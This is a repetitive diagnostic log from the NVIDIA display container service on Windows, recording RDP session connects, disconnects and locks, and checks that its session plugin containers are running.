#3(I)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#4(I)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#5(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#6(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#7(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Group =>
#8(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#9(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#0(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#1(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Processes =>
#2(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#3(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#4(D)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#5(I)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>      Session event was signaled
#6(I)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#7(I)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#1'
#8(I)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#1'
#9(D)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#0(I)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#1(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#3(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Group =>
#4(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#5(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#6(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#7(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Processes =>
#8(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#9(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#0(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(I)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(I)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#4(I)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#5(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#6(D)[2020-12-09 17:07:27,556]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#7(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>    Group =>
#8(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#9(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#0(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#1(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildGroup>        Processes =>
#2(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#3(D)[2020-12-09 17:07:27,556]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#4(D)[2020-12-09 17:07:27,556]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#5(I)[2020-12-09 19:46:01,633]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2020-12-09 19:46:01,633]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2020-12-09 19:46:01,696]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2020-12-09 19:46:01,696]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2020-12-10 16:16:55,858]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2020-12-10 16:16:55,858]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2020-12-10 16:16:55,858]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2020-12-10 16:16:55,858]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2020-12-10 16:16:55,858]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2020-12-10 16:16:55,873]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2020-12-10 16:16:55,967]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#3'
#6(I)[2020-12-10 16:16:55,967]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#3'
#7(D)[2020-12-10 16:16:55,967]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2020-12-10 16:16:55,967]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2020-12-10 16:16:55,967]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-10 16:16:55,967]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2020-12-10 16:16:55,967]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-10 16:16:55,967]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2020-12-10 16:16:55,967]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2020-12-10 16:16:55,967]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2020-12-10 16:16:55,967]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2020-12-10 16:16:55,967]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2020-12-10 16:16:55,967]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2020-12-10 16:16:55,983]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2020-12-10 16:16:55,998]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#3'
#6(I)[2020-12-10 16:16:55,998]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#3'
#7(D)[2020-12-10 16:16:55,998]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2020-12-10 16:16:55,998]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2020-12-10 16:16:55,998]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-10 16:16:55,998]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2020-12-10 16:16:55,998]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-10 16:16:55,998]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2020-12-10 16:16:55,998]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2020-12-10 16:16:55,998]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2020-12-10 16:16:55,998]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2020-12-10 16:16:55,998]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2020-12-10 16:16:56,280]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2020-12-10 16:16:56,280]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2020-12-10 18:28:26,870]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2020-12-10 18:28:26,870]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2020-12-10 18:28:26,933]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2020-12-10 18:28:26,933]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2020-12-12 19:01:59,583]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2020-12-12 19:01:59,583]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2020-12-12 19:01:59,583]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2020-12-12 19:01:59,583]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2020-12-12 19:01:59,583]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2020-12-12 19:01:59,583]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2020-12-12 19:01:59,677]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#5'
#6(I)[2020-12-12 19:01:59,677]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#5'
#7(D)[2020-12-12 19:01:59,677]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2020-12-12 19:01:59,677]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2020-12-12 19:01:59,677]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-12 19:01:59,677]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2020-12-12 19:01:59,677]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-12 19:01:59,677]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2020-12-12 19:01:59,677]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2020-12-12 19:01:59,677]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2020-12-12 19:01:59,677]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2020-12-12 19:01:59,677]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2020-12-12 19:01:59,677]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2020-12-12 19:01:59,677]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2020-12-12 19:01:59,692]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#5'
#6(I)[2020-12-12 19:01:59,692]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#5'
#7(D)[2020-12-12 19:01:59,692]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2020-12-12 19:01:59,692]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2020-12-12 19:01:59,692]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-12 19:01:59,692]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-12 19:01:59,692]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2020-12-12 19:01:59,692]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2020-12-12 19:01:59,692]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2020-12-12 19:01:59,692]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2020-12-12 19:01:59,692]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2020-12-12 19:01:59,692]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2020-12-12 19:01:59,692]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2020-12-12 19:01:59,708]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-12 19:01:59,708]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2020-12-12 19:01:59,708]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2020-12-12 19:01:59,708]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
